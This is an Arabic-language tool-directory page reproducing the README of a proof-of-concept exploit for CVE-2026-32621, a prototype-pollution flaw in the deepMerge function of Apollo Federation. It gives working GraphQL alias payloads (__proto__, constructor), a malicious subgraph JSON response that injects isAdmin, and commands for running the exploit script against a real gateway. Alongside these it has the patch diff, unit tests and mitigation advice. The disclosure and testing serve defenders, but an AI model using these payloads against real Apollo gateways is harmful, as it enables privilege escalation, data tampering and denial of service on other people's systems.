Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
POC-CVE-2026-32621-Apollo-Federation-XSS-Vulnerability — استغلال PoC للثغرة CVE-2026-32621 يوضح تلوث النموذج الأولي deepMerge في Apollo Federation عبر أسماء مستعارة مُهندَسة في GraphQL، مع اختبارات للإصدار المُصحَّح. | Kitploit
أدوات/GitHubGitHub/sam00/poc-cve-2026-32621-apollo-federation-xss-vulnerability
تحليل الثغرات الأمنيةالاستغلالاستغلال تطبيقات الويبأمن واجهات برمجة التطبيقات
GitHubsam00/poc-cve-2026-32621-apollo-federation-xss-vulnerability

POC-CVE-2026-32621-Apollo-Federation-XSS-Vulnerability

استغلال PoC للثغرة CVE-2026-32621 يوضح تلوث النموذج الأولي deepMerge في Apollo Federation عبر أسماء مستعارة مُهندَسة في GraphQL، مع اختبارات للإصدار المُصحَّح.

عرض المستودع
3منذ شهر واحدلم تتم المراجعة بعد

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

CVE-2026-32621 - إثبات المفهوم (PoC) لثغرة تلوث النموذج الأولي في Apollo Federation

نظرة عامة

الحقلالقيمة
CVECVE-2026-32621
CVSS9.9 حرجة
CWECWE-1321 (تلوث النموذج الأولي)
المتأثرApollo Federation < 2.9.6, < 2.10.5, < 2.11.6, < 2.12.3, < 2.13.2
الإصلاح2.9.6, 2.10.5, 2.11.6, 2.12.3, 2.13.2
GHSAGHSA-pfjj-6f4p-rvmh

وصف الثغرة

دالة deepMerge في Apollo Federation (المستخدمة في @apollo/query-planner و @apollo/gateway لدمج استجابات الرسوم البيانية الفرعية أثناء تنفيذ خطة الاستعلام) تفشل في تنظيف المفاتيح قبل الوصول إلى target[key].

عندما يحتوي كائن المصدر على __proto__ كخاصية خاصة (والتي ينشئها JSON.parse)، فإن Object.keys() يعيدها، ويتم تحليل target["__proto__"] إلى Object.prototype عبر سلسلة النموذج الأولي. ثم تقوم عملية الدمج بكتابة الخصائص مباشرة على Object.prototype، مما يلوث سلسلة النموذج الأولي العامة لعملية Node.js بأكملها.

السبب الجذري

root@kitploit:~
// VULNERABLE (pre-patch)
for (const key of Object.keys(source)) {
  if (target[key] && isObject(source[key])) {
    deepMerge(target[key], source[key]);  // target["__proto__"] = Object.prototype!
  } else {
    target[key] = source[key];            // Direct assignment to prototype
  }
}

// PATCHED (post-patch)
for (const key of Object.keys(source)) {
  defineOwn(target, key);  // <-- Fix: shadows prototype property with own property
  if (target[key] && isObject(source[key])) {
    deepMerge(target[key], source[key]);
  }
}

متجهات الهجوم

1. من جانب العميل (استعلام GraphQL خبيث)

يرسل العميل استعلام GraphQL بأسماء مستعارة للحقول مثل __proto__ أو constructor أو prototype. عندما تعالج البوابة الاستجابة، يستخدم deepMerge هذه الأسماء المستعارة كمفاتيح، مما يلوث Object.prototype.

root@kitploit:~
query {
  __proto__: products {
    polluted: id
  }
}

2. من جانب الرسم البياني الفرعي (رسم بياني فرعي مخترق)

يعيد رسم بياني فرعي مخترق JSON يحتوي على مفاتيح __proto__. عندما تدمج البوابة الاستجابة عبر deepMerge، يتم تلويث Object.prototype.

root@kitploit:~
{"data":{"__proto__":{"isAdmin":true,"polluted":"yes"}}}

3. السلسلة المتداخلة

root@kitploit:~
query {
  constructor: products {
    prototype: id
  }
}

التأثير

  • تصعيد الامتيازات: حقن خصائص isAdmin و role و permissions
  • رفض الخدمة: استبدال toString و valueOf بدوال فارغة/معطوبة
  • سلامة البيانات: حقن خصائص تؤثر على منطق الأعمال
  • دائم: يؤثر التلوث على جميع الطلبات اللاحقة لمثيل البوابة
  • عبر الطلبات: أي طلب بعد الهجوم يرى نماذج أولية ملوثة

التوثيق

المستندالمحتوى
USAGE.mdدليل استخدام مفصل مع تعليمات خطوة بخطوة
DIAGRAM.mdمخططات هيكلية وتصور لمسار الهجوم

الملفات

| الملف | الغرض |

|------|---------| | exploit.js | الاستغلال الرئيسي مع 5 متجهات هجوم + عرض محلي | | test_exploit.js | اختبارات وحدة (15 اختبارًا للتحقق من التلوث والإصلاح) | | e2e_test.js | تحقق شامل (10 اختبارات: بوابة + استغلال + تحقق) | | setup_vulnerable.js | محاكي بوابة ضعيفة للاختبار |

الاستخدام

بدء سريع (عرض محلي)

root@kitploit:~
# Run the local deepMerge vulnerability demonstration
node exploit.js

يوضح هذا مسار الشيفرة الضعيف الدقيق دون الحاجة إلى بوابة قيد التشغيل.

الاستغلال الكامل (مع بوابة ضعيفة)

root@kitploit:~
# Terminal 1: Start vulnerable gateway simulator
node setup_vulnerable.js 4000

# Terminal 2: Run exploit against gateway
node exploit.js -u http://localhost:4000/graphql

تشغيل الاختبارات

root@kitploit:~
# Unit tests (15 tests)
node test_exploit.js

# End-to-end tests (10 tests - starts gateway, sends exploits, verifies pollution)
node e2e_test.js

الاستغلال ضد بوابة Apollo Gateway حقيقية

root@kitploit:~
# Target a real vulnerable Apollo Gateway instance
node exploit.js -u http://target-gateway:4000/graphql

مثال على المخرجات

root@kitploit:~
======================================================================
  CVE-2026-32621 - Apollo Federation Prototype Pollution
  CVSS 9.9 Critical | CWE-1321
  Patched: 2.9.6, 2.10.5, 2.11.6, 2.12.3, 2.13.2
======================================================================

======================================================================
  Direct deepMerge Vulnerability Demonstration
  (Reproduces the exact vulnerable code path)
======================================================================

[Test 1] __proto__ pollution via JSON.parse source
  Source keys: __proto__
  source.__proto__ is own property: true
  VULNERABLE: Object.prototype.polluted_test1 = true
  PATCHED:    Object.prototype.polluted_test1 = undefined

[Test 2] constructor.prototype pollution
  VULNERABLE: Object.prototype.polluted_test2 = true
  PATCHED:    Object.prototype.polluted_test2 = undefined

--------------------------------------------------
  RESULTS SUMMARY
--------------------------------------------------
  [VULNERABLE] __proto__ via JSON.parse
  [SAFE]       __proto__ via JSON.parse (patched)
  [VULNERABLE] constructor.prototype
  [SAFE]       constructor.prototype (patched)

مخطط سلسلة الهجوم

root@kitploit:~
Client            Apollo Gateway              Subgraph
  │                   │                         │
  │  GraphQL query    │                         │
  │  with __proto__   │                         │
  │  field alias      │                         │
  │ ────────────────► │  Forward query          │
  │                   │ ──────────────────────► │
  │                   │                         │
  │                   │  JSON response with     │
  │                   │  __proto__ as own prop  │
  │                   │ ◄────────────────────── │
  │                   │                         │
  │                   │  deepMerge() called     │
  │                   │  target["__proto__"]   │
  │                   │  → Object.prototype     │
  │                   │  ⚠ POLLUTED!            │
  │                   │                         │
  │  200 OK           │                         │
  │  polluted: true   │                         │
  │ ◄──────────────── │                         │
  │                   │                         │
  │  ALL subsequent requests inherit polluted   │
  │  properties (isAdmin, polluted, etc.)       │

انظر DIAGRAM.md للحصول على المخططات المعمارية الكاملة.

التخفيف

  1. الترقية إلى الإصدارات المُصححة: 2.9.6، 2.10.5، 2.11.6، 2.12.3، 2.13.2
  2. تصفية المدخلات: احظر عمليات GraphQL التي تحتوي على __proto__ أو constructor أو prototype في الأسماء المستعارة لحقولها وأسماء متغيراتها
  3. الثقة في الرسوم البيانية الفرعية: تأكد من أن جميع الرسوم البيانية الفرعية تأتي من مصادر موثوقة
  4. Object.create(null): استخدم كائنات بنموذج أولي null حيثما أمكن

المراجع

  • إدخال NVD
  • استشارة GitHub GHSA-pfjj-6f4p-rvmh
  • استشارة أمان Apollo Federation
  • CWE-1321

الترخيص

MIT

تنزيل الأداة